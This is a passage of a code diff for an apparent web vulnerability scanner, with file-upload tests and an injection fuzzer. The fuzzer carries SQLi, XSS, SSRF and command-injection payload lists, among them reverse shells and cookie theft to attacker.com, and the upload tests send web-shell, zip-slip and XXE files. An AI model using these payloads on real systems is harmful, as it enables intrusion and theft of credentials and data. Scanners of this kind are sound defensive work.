+                    self.log("CRITICAL", f"[FileUpload] {combined_name} — ACCEPTED by {action}!")
+                else:
+                    if variant_label == "plain":
+                        self.log("SUCCESS", f"[FileUpload] {test_name} — blocked ({status}).")
+
+        # SVG XXE callback test
+        try:
+            xxe_data = self._make_svg_xxe_callback()
+            body, status = self._multipart_upload(action, "file", "xxe_test.svg", xxe_data, "image/svg+xml", hidden)
+            if body and self._check_success(body, status, "xxe_test.svg"):
+                self.add_vuln(
+                    title="SVG XXE Upload with OOB Callback",
+                    severity="Critical",
+                    category="Insecure File Upload",
+                    cvss_score=9.1,
+                    confidence="High",
+                    description=f"SVG XXE payload with OOB callback accepted at `{action}`. "
+                        "If the server parses the SVG's internal DTD, XML external entities "
+                        "may be processed, leading to SSRF, file disclosure, or DoS.",
+                    remediation="Disable external entity processing in XML/SVG parsers. "
+                        "Reject SVG uploads entirely unless strictly necessary.",
+                    payload="SVG with DOCTYPE + XXE callback",
+                    evidence=f"Upload accepted with status {status}",
+                    request_details=f"POST {action} SVG XXE callback",
+                    response_details=f"HTTP {status}, body: {body[:200]}",
+                    cwe_ids=["CWE-611", "CWE-434"],
+                    owasp_category="A05:2021 – Security Misconfiguration",
+                )
+                self.log("CRITICAL", f"[FileUpload] SVG XXE callback — ACCEPTED by {action}!")
+        except Exception as e:
+            self.log("ERROR", f"[FileUpload] SVG XXE callback error: {e}")
+
+        # Server-side include callback test
+        try:
+            ssi_callback = f'<!--#echo var="DOCUMENT_NAME" -->\n<!--#exec cmd="echo WSS-UPLOAD-PROBE" -->\n<!-- callback: {build_callback_url("/ssi")} -->'
+            body, status = self._multipart_upload(action, "file", "test.shtml", ssi_callback.encode(), "text/html", hidden)
+            if body and self._check_success(body, status, "test.shtml"):
+                self.add_vuln(
+                    title="Server-Side Include Upload with OOB Callback",
+                    severity="High",
+                    category="Insecure File Upload",
+                    cvss_score=8.2,
+                    confidence="High",
+                    description=f"SSI payload with OOB callback accepted at `{action}`. "
+                        "If the server processes Server-Side Includes, the callback URL embedded "
+                        "in the file may be requested by the server, confirming SSI execution.",
+                    remediation="Disable SSI processing for uploaded files. Rename uploads to .txt or .download.",
+                    payload="SSI with exec directive + callback",
+                    evidence=f"Upload accepted with status {status}",
+                    request_details=f"POST {action} SSI callback",
+                    response_details=f"HTTP {status}, body: {body[:200]}",
+                    cwe_ids=cwe,
+                    owasp_category=owasp,
+                )
+                self.log("CRITICAL", f"[FileUpload] SSI callback — ACCEPTED by {action}!")
+        except Exception as e:
+            self.log("ERROR", f"[FileUpload] SSI callback test error: {e}")
+
+        # Content-type boundary violation tests
+        boundary_tests = [
+            ("Content-Type Boundary: mixed/malformed", "shell.php", "multipart/mixed; boundary=--malformed"),
+            ("Content-Type Boundary: extra charset", "shell.php", "image/jpeg; charset=utf-7"),
+            ("Content-Type Boundary: double content-type", "shell.php", "image/jpeg, text/html"),
+        ]
+        for bt_name, bt_filename, bt_ct in boundary_tests:
+            try:
+                body, status = self._multipart_upload(action, "file", bt_filename, PHP_SHELL, bt_ct, hidden)
+                if body and self._check_success(body, status, bt_filename):
+                    self.add_vuln(
+                        title=f"File Upload Bypass — {bt_name}",
+                        severity="High",
+                        category="Insecure File Upload",
+                        cvss_score=7.5,
+                        confidence="High",
+                        description=f"Upload to `{action}` accepted with malformed Content-Type `{bt_ct}`. "
+                            "Boundary/content-type violations can bypass WAF rules that only check specific MIME types.",
+                        remediation="Validate Content-Type against a strict allowlist. "
+                            "Reject malformed or multiple Content-Type values.",
+                        payload=f"{bt_filename} ({bt_ct})",
+                        evidence=f"Upload accepted with status {status}",
+                        request_details=f"POST {action} Content-Type: {bt_ct}",
+                        response_details=f"HTTP {status}, body: {body[:200]}",
+                        cwe_ids=cwe,
+                        owasp_category=owasp,
+                    )
+                    self.log("CRITICAL", f"[FileUpload] {bt_name} — ACCEPTED by {action}!")
+            except Exception as e:
+                self.log("ERROR", f"[FileUpload] Content-type boundary test error: {e}")
+
+    def _make_php_payload(self): return PHP_SHELL
+    def _make_asp_payload(self): return ASP_SHELL
+    def _make_jsp_payload(self): return JSP_SHELL
+    def _make_php_as_jpeg(self): return JPEG_MAGIC[:20] + PHP_SHELL
+    def _make_imagetragick_mvg(self): return IMAGETRAGICK_MVG
+    def _make_imagetragick_msl(self): return IMAGETRAGICK_MSL
+    def _make_svg_xss(self): return SVG_XSS_PAYLOAD
+
+    def _make_png_payload(self):
+        return PNG_MAGIC + PHP_SHELL
+
+    def _make_gif_payload(self):
+        return GIF_MAGIC + PHP_SHELL
+
+    def _make_ssi_payload(self):
+        return b'<!--#echo var="DOCUMENT_NAME" -->\n<!--#exec cmd="echo WSS-UPLOAD-PROBE" -->'
+
+    def _make_polyglot(self):
+        return JPEG_MAGIC + b"\xff\xfe" + len(PHP_SHELL).to_bytes(2, 'big') + PHP_SHELL + b"\xff\xd9"
+
+    def _make_pdf_polyglot(self):
+        return PDF_PHP_POLYGLOT
+
+    def _make_svg_xxe_callback(self):
+        return SVG_XXE_CALLBACK.format(callback=build_callback_url("/xxe")).encode()
+
+    def _make_svg_callback_payload(self):
+        return SVG_XSS_PAYLOAD + f"\n<!-- callback: {build_callback_url('/svg')} -->\n".encode()
+
+    def _make_war_payload(self):
+        buf = io.BytesIO()
+        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
+            zf.writestr("WEB-INF/web.xml", b"""<?xml version="1.0"?>
+<web-app><servlet><servlet-name>Shell</servlet-name>
+<servlet-class>Shell</servlet-class></servlet></web-app>""")
+            zf.writestr("Shell.jsp", JSP_SHELL)
+        return buf.getvalue()
+
+    def _make_zip_slip(self):
+        buf = io.BytesIO()
+        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
+            zf.writestr("image.jpg", "WSS-ZIP-NORMAL")
+            zi = zipfile.ZipInfo("../../../../tmp/wss_slip.php")
+            zi.compress_type = zipfile.ZIP_DEFLATED
+            zf.writestr(zi, "<?php echo 'WSS-ZIP-SLIP'; ?>")
+        return buf.getvalue()
+
+    def _multipart_upload(self, url, field_name, filename, data, content_type, extra_fields):
+        boundary = "WSSBoundary8675309"
+        body_parts = []
+        for k, v in extra_fields.items():
+            body_parts.append(
+                f'--{boundary}\r\nContent-Disposition: form-data; name="{k}"\r\n\r\n{v}'.encode()
+            )
+        disp = f'--{boundary}\r\nContent-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\nContent-Type: {content_type}\r\n\r\n'
+        body_parts.append(disp.encode() + data)
+        body_parts.append(f'\r\n--{boundary}--\r\n'.encode())
+        body = b"\r\n".join(body_parts)
+        try:
+            req = urllib.request.Request(url, data=body, method="POST",
+                headers=self._make_headers({"Content-Type": f"multipart/form-data; boundary={boundary}"}))
+            with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
+                return r.read().decode("utf-8", errors="ignore"), r.status
+        except urllib.error.HTTPError as e:
+            return e.read().decode("utf-8", errors="ignore"), e.code
+        except Exception as e:
+            self.log("ERROR", f"[FileUpload] Upload error: {e}")
+            return None, 0
+
+    def _check_success(self, body, status, filename):
+        if status not in (200, 201, 302):
+            return False
+        body_lower = body.lower()
+        if PROBE_MARKER.lower() in body_lower:
+            return True
+        if any(m.lower() in body_lower for m in UPLOAD_RESPONSE_MARKERS):
+            return True
+        fn_lower = filename.lower().replace("\x00", "")
+        if fn_lower in body_lower and "error" not in body_lower:
+            return True
+        return False
+
+    def _severity_for(self, test_name):
+        if any(k in test_name for k in ("PHP", "Polyglot", "ImageTragick", "Zip Slip", "WAR", "JSP", "ASP")):
+            return "Critical"
+        if "SVG" in test_name:
+            return "High"
+        if "Content-Type Bypass" in test_name:
+            return "High"
+        if "Magic Byte" in test_name:
+            return "High"
+        return "High"
+
+    def _cvss_for(self, test_name):
+        if any(k in test_name for k in ("PHP", "Polyglot", "ImageTragick", "WAR")):
+            return 9.8
+        if "Zip Slip" in test_name:
+            return 8.6
+        if "JSP" in test_name or "ASP" in test_name:
+            return 9.0
+        return 7.5
+
+    def _remediation_for(self, test_name):
+        base = ("1. Validate magic bytes (file header), NOT the extension or Content-Type.\n"
+                "2. Rename all uploads to UUID filenames (no user-controlled names).\n"
+                "3. Store uploads outside the webroot or in a dedicated S3/CDN bucket.\n"
+                "4. Serve files through a proxy that sets Content-Disposition: attachment.\n")
+        if "ImageTragick" in test_name:
+            return base + "5. **Patch ImageMagick** — add `pattern:*` to policy.xml deny list.\n   Upgrade to ImageMagick ≥ 6.9.3-10 or ≥ 7.0.1-1."
+        if "Zip Slip" in test_name:
+            return base + "5. Sanitize zip entry paths: reject entries starting with `../` or `/`.\n   Use `zipEntry.getName().startsWith(\"..\")` checks before extraction."
+        if "SVG" in test_name:
+            return base + "5. Reject SVG/XML uploads or sanitize with DOMPurify server-side.\n   Serve SVGs with `Content-Type: text/plain` if display is needed."
+        if "WAR" in test_name:
+            return base + "5. Block WAR uploads unless explicitly required. Validate archive contents against allowlist."
+        if "Extension" in test_name or "Bypass" in test_name or "Magic" in test_name:
+            return base + "5. Use a comprehensive extension denylist. Validate Content-Type matches actual file magic bytes."
+        return base

backend/scanners/fuzzer_scanner.py

@@ -0,0 +1,838 @@
+"""
+fuzzer_scanner.py — Active XSS & SQL Injection Fuzzer
+=====================================================
+Senior Security Engineer-grade injection testing module.
+
+This scanner:
+  1. Crawls the target page recursively using WebCrawler.
+  2. Injects curated SQLi and XSS payloads into every discovered input vector.
+  3. Analyses HTTP responses for database error signatures (MySQL, PostgreSQL,
+     MSSQL, Oracle, SQLite) and reflected XSS payload markers.
+  4. Performs boolean-based blind SQL injection checks.
+  5. Reports each confirmed injection point with severity, CVSS, evidence,
+     and remediation guidance.
+"""
+import urllib.request, urllib.error, urllib.parse, ssl, re, time
+from html.parser import HTMLParser
+from scanners.base_scanner import BaseScanner
+from utils.web_crawler import WebCrawler
+from utils.fuzzer_engine import ContextAwareFuzzer, TYPE_MUTATIONS
+
+# ──────────────────────────────────────────────────────────────────────
+# Payload Sets
+# ──────────────────────────────────────────────────────────────────────
+SQLI_PAYLOADS = [
+    # Classic auth-bypass / error-based
+    "' OR '1'='1",
+    "' OR '1'='1' --",
+    "' OR '1'='1' /*",
+    '" OR "1"="1"',
+    "1' AND 1=1 --",
+    "1' AND 1=0 --",
+    "' UNION SELECT NULL --",
+    "' UNION SELECT NULL, NULL --",
+    "'; WAITFOR DELAY '0:0:3' --",
+    "1; SELECT SLEEP(3) --",
+    "admin'--",
+    "admin' #",
+    "admin' --",
+    "' OR 1=1#",
+    "' OR 1=1--",
+    '" OR 1=1--',
+    "\" OR \"1\"=\"1",
+    "' OR 'a'='a",
+    "') OR ('1'='1",
+    "1' ORDER BY 1 --",
+    "1' ORDER BY 100 --",
+    "' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --",
+]
+
+XSS_PAYLOADS = [
+    '<script>alert("XSS")</script>',
+    '"><script>alert(1)</script>',
+    "'\"><img src=x onerror=alert(1)>",
+    '<svg onload=alert(1)>',
+    '"><svg/onload=alert(1)>',
+    "javascript:alert(1)",
+    '<img src=x onerror=alert("XSS")>',
+    '{{7*7}}',                          # SSTI probe
+    '${7*7}',                           # Template injection probe
+    '<body onload=alert(1)>',
+    '<input onfocus=alert(1) autofocus>',
+    '" onfocus="alert(1)" autofocus="',
+    "';alert(1)//",
+    '<details open ontoggle=alert(1)>',
+    
+    # Additional payloads from user XSS script
+    "<script>alert('XSS')</script>",
+    "<script>alert(1)</script>",
+    "<img src=x onerror=alert('XSS')>",
+    "<svg/onload=alert('XSS')>",
+    "<iframe src=javascript:alert('XSS')>",
+    "<body onload=alert('XSS')>",
+    "<input onfocus=alert('XSS') autofocus>",
+    "<select onfocus=alert('XSS') autofocus>",
+    "<textarea onfocus=alert('XSS') autofocus>",
+    "<iframe src='javascript:alert(\"XSS\")'>",
+    "'\"><script>alert(String.fromCharCode(88,83,83))</script>",
+    "<scr<script>ipt>alert('XSS')</scr</script>ipt>",
+]
+
+# Advanced Red-Team Payloads
+TIME_BASED_SQLI = [
+    "SLEEP(5)/*",
+    "' OR SLEEP(5)='",
+    "pg_sleep(5)--",
+    "'; WAITFOR DELAY '0:0:5'--",
+    "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
+    "'; SELECT pg_sleep(5)--",
+    "1; SELECT SLEEP(5)#",
+    "' OR BENCHMARK(5000000,MD5(1))--",
+    "1 AND SLEEP(5)#",
+    "'; EXEC xp_cmdshell('ping 127.0.0.1 -n 5')--"
+]
+
+SSRF_PAYLOADS = [
+    "http://169.254.169.254/latest/meta-data/",
+    "http://127.0.0.1:80",
+    "http://localhost:22",
+    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
+    "http://169.254.169.254/latest/user-data",
+    "http://metadata.google.internal/computeMetadata/v1/",
+    "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
+    "http://0177.0.0.1",
+    "http://0x7f.0.0.1",
+    "http://2130706433",
+    "file:///etc/passwd",
+    "file:///windows/win.ini"
+]
+
+CMD_INJECTION_PAYLOADS = [
+    "; cat /etc/passwd",
+    "| type C:\\Windows\\win.ini",
+    "`id`",
+    "$(whoami)",
+    "; ls -la",
+    "| dir",
+    "&& whoami",
+    "; curl http://attacker.com/$(whoami)",
+    "| powershell -c 'Get-Process'",
+    "`nslookup attacker.com`",
+    "; wget http://attacker.com/shell.sh",
+    "$(curl http://attacker.com)",
+    "; bash -i >& /dev/tcp/attacker.com/4444 0>&1",
+    "| nc attacker.com 4444 -e /bin/bash"
+]
+
+# Advanced XSS Payloads for DOM-based and stored XSS
+ADVANCED_XSS_PAYLOADS = [
+    "<script>document.location='http://attacker.com/?c='+document.cookie</script>",
+    "<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",
+    "<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
+    "<details open ontoggle=alert(1)>",
+    "<iframe srcdoc='<script>alert(1)</script>'>",
+    "<object data='javascript:alert(1)'>",
+    "<embed src='javascript:alert(1)'>",
+    "<math><maction actiontype='statusline' onactivate=alert(1)>click</maction></math>",
+    "<form><button formaction='javascript:alert(1)'>XSS</button></form>",
+    "<input type='text' onfocus='alert(1)' autofocus>",
+    "<select onfocus='alert(1)' autofocus><option>XSS</option></select>",
+    "<textarea onfocus='alert(1)' autofocus>XSS</textarea>",
+    "<keygen onfocus='alert(1)' autofocus>",
+    "<video><source onerror='alert(1)'>",
+    "<audio src=x onerror='alert(1)'>",
+    "<marquee onstart='alert(1)'>XSS</marquee>",
+    "<isindex action='javascript:alert(1)' type='submit'>",
+    "<iframe src='data:text/html,<script>alert(1)</script>'>"
+]
+
+# LDAP Injection Payloads
+LDAP_INJECTION_PAYLOADS = [
+    "*)(uid=*",
+    "*)(&",
+    "*)(|(objectClass=*)",
+    "*)(|(password=*",
+    "*))%00",
+    "*)(&(|(objectClass=*",
+    "*)(|(cn=*",
+    "*)(|(sn=*"
+]
+
+# NoSQL Injection Payloads
+NOSQL_INJECTION_PAYLOADS = [
+    "' || '1'=='1",
+    "' && '1'=='1",
+    "'; return true;//",
+    "' && this.password.match(/.*/)//",
+    "' && this.password.match(/^a/)//",
+    "' && this.password.length>0//",
+    "' && this.password.length<10//",
+    "' && this.password=='admin'//",
+    "' || true)//",
+    "' && true)//"
+]
+
+# Prototype Pollution Payloads
+PROTOTYPE_POLLUTION_PAYLOADS = [
+    '{"__proto__":{"admin":true}}',
+    '{"constructor":{"prototype":{"admin":true}}}',
+    '{"__proto__":{"isAdmin":true}}',
+    '{"__proto__":{"auth":"admin"}}',
+    '{"constructor":{"prototype":{"auth":"admin"}}}'
+]
+
+# Database error signatures — evidence of SQL injection
+DB_ERROR_PATTERNS = [
+    (r"You have an error in your SQL syntax",            "MySQL"),
+    (r"Warning.*mysql_",                                 "MySQL"),
+    (r"MySQLSyntaxErrorException",                       "MySQL"),
+    (r"valid MySQL result",                              "MySQL"),
+    (r"PostgreSQL.*ERROR",                               "PostgreSQL"),
+    (r"pg_query\(\).*failed",                            "PostgreSQL"),
+    (r"PSQLException",                                   "PostgreSQL"),
+    (r"unterminated quoted string",                      "PostgreSQL"),
+    (r"Microsoft OLE DB Provider for SQL Server",        "MSSQL"),
+    (r"Unclosed quotation mark after the character string", "MSSQL"),
+    (r"Microsoft SQL Native Client error",               "MSSQL"),
+    (r"ODBC SQL Server Driver",                          "MSSQL"),
+    (r"ORA-\d{5}",                                       "Oracle"),
+    (r"Oracle error",                                    "Oracle"),
+    (r"SQLite3::SQLException",                           "SQLite"),
+    (r"SQLITE_ERROR",                                    "SQLite"),
+    (r"near \".*\": syntax error",                       "SQLite"),
+    (r"SQL syntax.*MariaDB",                             "MariaDB"),
+    (r"javax\.persistence\.PersistenceException",        "JPA/Hibernate"),
+    (r"org\.hibernate\.exception",                       "Hibernate"),
+]
+
+# ──────────────────────────────────────────────────────────────────────
+# HTML Form Parser (Retained for backwards compatibility)
+# ──────────────────────────────────────────────────────────────────────
+class FormParser(HTMLParser):
+    """Parse HTML to extract <form> elements with their <input>/<textarea> fields."""
+
+    def __init__(self):
+        super().__init__()
+        self.forms = []
+        self._current_form = None
+
+    def handle_starttag(self, tag, attrs):
+        attrs_dict = dict(attrs)
+        if tag == "form":
+            self._current_form = {
+                "action": attrs_dict.get("action", ""),
+                "method": attrs_dict.get("method", "GET").upper(),
+                "inputs": [],
+            }
+        elif tag in ("input", "textarea", "select") and self._current_form is not None:
+            input_type = attrs_dict.get("type", "text").lower()
+            # Skip submit/button/hidden/file inputs
+            if input_type not in ("submit", "button", "image", "file", "hidden", "reset"):
+                name = attrs_dict.get("name", attrs_dict.get("id", ""))
+                if name:
+                    self._current_form["inputs"].append({
+                        "name": name,
+                        "type": input_type,
+                        "value": attrs_dict.get("value", ""),
+                    })
+            # Also capture hidden fields for completeness but don't fuzz them
+            elif input_type == "hidden":
+                name = attrs_dict.get("name", "")
+                if name:
+                    self._current_form["inputs"].append({
+                        "name": name,
+                        "type": "hidden",
+                        "value": attrs_dict.get("value", ""),
+                    })
+
+    def handle_endtag(self, tag):
+        if tag == "form" and self._current_form is not None:
+            self.forms.append(self._current_form)
+            self._current_form = None
+
+
+# ──────────────────────────────────────────────────────────────────────
+# Scanner Implementation
+# ──────────────────────────────────────────────────────────────────────
+class FuzzerScanner(BaseScanner):
+    SCANNER_NAME = "XSS & SQL Injection Fuzzer"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._ctx = ssl.create_default_context()
+        self._ctx.check_hostname = False
+        self._ctx.verify_mode = ssl.CERT_NONE
+        self._headers = {"User-Agent": "LarShield/2.0 Fuzzer"}
+        if self.auth_headers:
+            self._headers.update(self.auth_headers)
+            
+        self._tested_vectors = 0
+        self._sqli_found = 0
+        self._xss_found = 0
+        self.max_depth = kwargs.get("max_depth", 1)
+        self.delay = kwargs.get("delay", 0.2)
+        self.exclude_paths = kwargs.get("exclude_paths", [])
+        self.red_team = kwargs.get("red_team", False)
+        self._fuzzer = ContextAwareFuzzer(self._fuzzer_req)
+
+    def _sqli_limit(self):
+        return len(SQLI_PAYLOADS) if self.red_team else 8
+
+    def _xss_limit(self):
+        return len(XSS_PAYLOADS) if self.red_team else 6
+
+    def _get(self, url, timeout=8):
+        self._throttle()
+        try:
+            req = urllib.request.Request(url, headers=self._headers)
+            with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
+                return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
+        except urllib.error.HTTPError as e:
+            body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
+            return body, e.code
+        except Exception as e:
+            self.log("ERROR", f"[Fuzzer] _get error: {e}")
+            return "", 0
+
+    def _post(self, url, data, timeout=8):
+        self._throttle()
+        try:
+            encoded = urllib.parse.urlencode(data).encode("utf-8")
+            req = urllib.request.Request(url, data=encoded, headers={
+                **self._headers,
+                "Content-Type": "application/x-www-form-urlencoded"
+            })
+            with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
+                return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
+        except urllib.error.HTTPError as e:
+            body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
+            return body, e.code
+        except Exception as e:
+            self.log("ERROR", f"[Fuzzer] _post error: {e}")
+            return "", 0
+
+    # ── SQLi Detection ────────────────────────────────────────────────
+    def _check_sqli(self, body, payload, vector_desc):
+        for pattern, db_type in DB_ERROR_PATTERNS:
+            if re.search(pattern, body, re.IGNORECASE):
+                self._sqli_found += 1
+                self.log("CRITICAL",
+                         f"[Fuzzer] SQL INJECTION CONFIRMED! Vector: {vector_desc} | "
+                         f"DB: {db_type} | Payload: {payload[:60]}")
+                self.add_vuln(
+                    title=f"SQL Injection — {db_type} Error-Based",
+                    severity="Critical", category="Injection", cvss_score=9.8,
+                    description=(
+                        f"A SQL injection vulnerability was confirmed on {vector_desc}.\n"
+                        f"Payload: `{payload}`\n"
+                        f"The server responded with a {db_type} database error, confirming "
+                        f"unsanitised user input is being concatenated into SQL queries.\n\n"
+                        f"Impact: An attacker can read/modify/delete all database records, "
+                        f"escalate privileges, and potentially achieve remote code execution."
+                    ),
+                    remediation=(
+                        "1. USE PARAMETERISED QUERIES / PREPARED STATEMENTS — never concatenate user input into SQL.\n"
+                        "   Python:  cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))\n"
+                        "   Node.js: db.query('SELECT * FROM users WHERE id = $1', [userId])\n"
+                        "2. Use an ORM (SQLAlchemy, Sequelize, Prisma) that handles parameterisation.\n"
+                        "3. Implement input validation — reject characters like ' \" ; -- /* in non-freetext fields.\n"
+                        "4. Apply the principle of least privilege to database accounts.\n"
+                        "5. Deploy a Web Application Firewall (WAF) as defense-in-depth."
+                    ),
+                )
+                return True
+        return False
+
+    def _check_boolean_sqli(self, url, param_name, method='GET', form_inputs=None):
+        """Test for boolean-based blind SQL injection by comparing true and false logical states."""
+        try:
+            if method.upper() == 'GET':
+                parsed = urllib.parse.urlparse(url)
+                params = urllib.parse.parse_qs(parsed.query)
+                
+                params_true = {k: v[0] for k, v in params.items()}
+                params_true[param_name] = "' AND '1'='1"
+                url_true = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_true)}"
+                body_true, _ = self._get(url_true)
+                
+                params_false = {k: v[0] for k, v in params.items()}
+                params_false[param_name] = "' AND '1'='2"
+                url_false = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_false)}"
+                body_false, _ = self._get(url_false)
+            else:
+                data_true = {}
+                if form_inputs:
+                    for inp in form_inputs:
+                        data_true[inp["name"]] = inp["value"] or "test"
+                data_false = data_true.copy()
+                data_true[param_name] = "' AND '1'='1"
+                data_false[param_name] = "' AND '1'='2"
+                body_true, _ = self._post(url, data_true)
+                body_false, _ = self._post(url, data_false)
+                
+            if body_true and body_false and len(body_true) != len(body_false):
+                vector_desc = f"{method} {url} → parameter '{param_name}'"
+                self._sqli_found += 1
+                self.log("CRITICAL", f"[Fuzzer] BLIND SQL INJECTION DETECTED! Vector: {vector_desc}")
+                self.add_vuln(
+                    title="SQL Injection — Boolean-Based Blind",
+                    severity="Critical", category="Injection", cvss_score=9.8,
+                    description=(
+                        f"A boolean-based blind SQL injection vulnerability was confirmed on {vector_desc}.\n"
+                        f"Injecting `' AND '1'='1` and `' AND '1'='2` produced different response lengths "
+                        f"({len(body_true)} vs {len(body_false)} bytes), indicating the application's logic "
+                        f"is influenced by the SQL query response.\n\n"
+                        f"Impact: An attacker can read arbitrary database schema and data by parsing conditional true/false responses."
+                    ),
+                    remediation=(
+                        "1. Use parameterised queries or prepared statements exclusively.\n"
+                        "2. Implement strict input validation on all parameters.\n"
+                        "3. Apply WAF protections to detect logical inference attacks."
+                    )
+                )
+                return True
+        except Exception as e:
+            self.log("ERROR", f"[Fuzzer] _check_boolean_sqli error: {e}")
+        return False
+
+    # ── XSS Detection ─────────────────────────────────────────────────
+    def _check_xss(self, body, payload, vector_desc):
+        # Check if the exact payload is reflected unsanitised in the response
+        if payload in body:
+            self._xss_found += 1
+            self.log("CRITICAL",
+                     f"[Fuzzer] REFLECTED XSS CONFIRMED! Vector: {vector_desc} | "
+                     f"Payload: {payload[:60]}")
+            self.add_vuln(
+                title="Reflected Cross-Site Scripting (XSS)",
+                severity="High", category="Injection", cvss_score=8.1,
+                description=(
+                    f"A reflected XSS vulnerability was confirmed on {vector_desc}.\n"
+                    f"Payload: `{payload}`\n"
+                    f"The payload was reflected in the response body without sanitisation, "
+                    f"allowing arbitrary JavaScript execution in the victim's browser.\n\n"
+                    f"Impact: Session hijacking, credential theft, phishing, defacement, "
+                    f"and malware distribution."
+                ),
+                remediation=(
+                    "1. ENCODE ALL OUTPUT — use context-aware output encoding:\n"
+                    "   HTML: &lt; &gt; &amp; &quot; &#x27;\n"
+                    "   JavaScript: \\xHH escaping\n"
+                    "   URL: percent-encoding\n"
+                    "2. Implement Content Security Policy (CSP) headers:\n"
+                    "   Content-Security-Policy: default-src 'self'; script-src 'self'\n"
+                    "3. Use framework auto-escaping (React JSX, Django templates, Jinja2).\n"
+                    "4. Validate and sanitise input on the server side.\n"
+                    "5. Set HttpOnly and Secure flags on session cookies."
+                ),
+            )
+            return True
+
+        # Check for SSTI (Server-Side Template Injection)
+        if payload in ('{{7*7}}', '${7*7}') and '49' in body:
+            self._xss_found += 1
+            self.log("CRITICAL",
+                     f"[Fuzzer] SSTI DETECTED! Template expression evaluated. Vector: {vector_desc}")
+            self.add_vuln(
+                title="Server-Side Template Injection (SSTI)",
+                severity="Critical", category="Injection", cvss_score=9.8,
+                description=(
+                    f"A Server-Side Template Injection was confirmed on {vector_desc}.\n"
+                    f"The expression `{payload}` was evaluated to `49` by the server template engine.\n\n"
+                    f"Impact: SSTI can lead to Remote Code Execution (RCE), allowing complete server compromise."
+                ),
+                remediation=(
+                    "1. Never pass user input directly into template rendering.\n"
+                    "2. Use a sandboxed template engine or disable dangerous built-in functions.\n"
+                    "3. Upgrade to the latest template engine version with SSTI protections."
+                ),
+            )
+            return True
+
+        return False
+
+    # ── Form Fuzzing ──────────────────────────────────────────────────
+    def _fuzz_form(self, form, base_url):
+        action = form["action"]
+        method = form["method"]
+
+        if action.startswith("http"):
+            target_url = action
+        elif action.startswith("/"):
+            parsed = urllib.parse.urlparse(base_url)
+            target_url = f"{parsed.scheme}://{parsed.netloc}{action}"
+        elif action:
+            target_url = base_url.rstrip("/") + "/" + action
+        else:
+            target_url = base_url
+
+        fuzzable_inputs = [i for i in form["inputs"] if i["type"] != "hidden"]
+        if not fuzzable_inputs:
+            return
+
+        self.log("INFO", f"[Fuzzer] Testing form: {method} {target_url} — {len(fuzzable_inputs)} input(s)")
+
+        for inp in fuzzable_inputs:
+            input_name = inp["name"]
+            vector_desc = f"Form {method} {target_url} → input '{input_name}'"
+
+            # SQLi payloads
+            sqli_detected = False
+            for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
+                self._tested_vectors += 1
+                data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
+                data[input_name] = payload
+
+                if method == "POST":
+                    body, status = self._post(target_url, data)
+                else:
+                    qs = urllib.parse.urlencode(data)
+                    body, status = self._get(f"{target_url}?{qs}")
+
+                if body and self._check_sqli(body, payload, vector_desc):
+                    sqli_detected = True
+                    break  # One confirmed finding per input is sufficient
+
+            if not sqli_detected:
+                self._check_boolean_sqli(target_url, input_name, method, form["inputs"])
+
+            # Time-based blind SQLi — always active (no response difference, timing-only)
+            if not sqli_detected:
+                self._check_time_based_sqli(target_url, input_name, method, form["inputs"])
+
+            # XSS payloads
+            for payload in XSS_PAYLOADS[:self._xss_limit()]:
+                self._tested_vectors += 1
+                data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
+                data[input_name] = payload
+
+                if method == "POST":
+                    body, status = self._post(target_url, data)
+                else:
+                    qs = urllib.parse.urlencode(data)
+                    body, status = self._get(f"{target_url}?{qs}")
+
+                if body and self._check_xss(body, payload, vector_desc):
+                    break
+
+    # ── URL Parameter Fuzzing ─────────────────────────────────────────
+    def _fuzz_url_params(self, url):
+        parsed = urllib.parse.urlparse(url)
+        params = urllib.parse.parse_qs(parsed.query)
+        if not params:
+            return
+
+        self.log("INFO", f"[Fuzzer] Testing {len(params)} URL parameter(s) on {parsed.path}")
+
+        for param_name in params:
+            vector_desc = f"URL param '{param_name}' on {parsed.path}"
+
+            sqli_detected = False
+            for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
+                self._tested_vectors += 1
+                test_params = {k: v[0] for k, v in params.items()}
+                test_params[param_name] = payload
+                test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
+
+                body, status = self._get(test_url)
+                if body and self._check_sqli(body, payload, vector_desc):
+                    sqli_detected = True
+                    break
+
+            if not sqli_detected:
+                self._check_boolean_sqli(url, param_name, 'GET')
+
+            # Time-based blind SQLi — always active
+            if not sqli_detected:
+                self._check_time_based_sqli(url, param_name, 'GET')
+
+            for payload in XSS_PAYLOADS[:self._xss_limit()]:
+                self._tested_vectors += 1
+                test_params = {k: v[0] for k, v in params.items()}
+                test_params[param_name] = payload
+                test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
+
+                body, status = self._get(test_url)
+                if body and self._check_xss(body, payload, vector_desc):
+                    break
+
+    # ── Red-Team Payload Probing ──────────────────────────────────────
+    def _check_ssrf(self, body, payload, vector_desc):
+        indicators = ["ami-id", "instance-id", "root:x:0:0", "localhost", "127.0.0.1"]
+        if any(ind in body for ind in indicators):
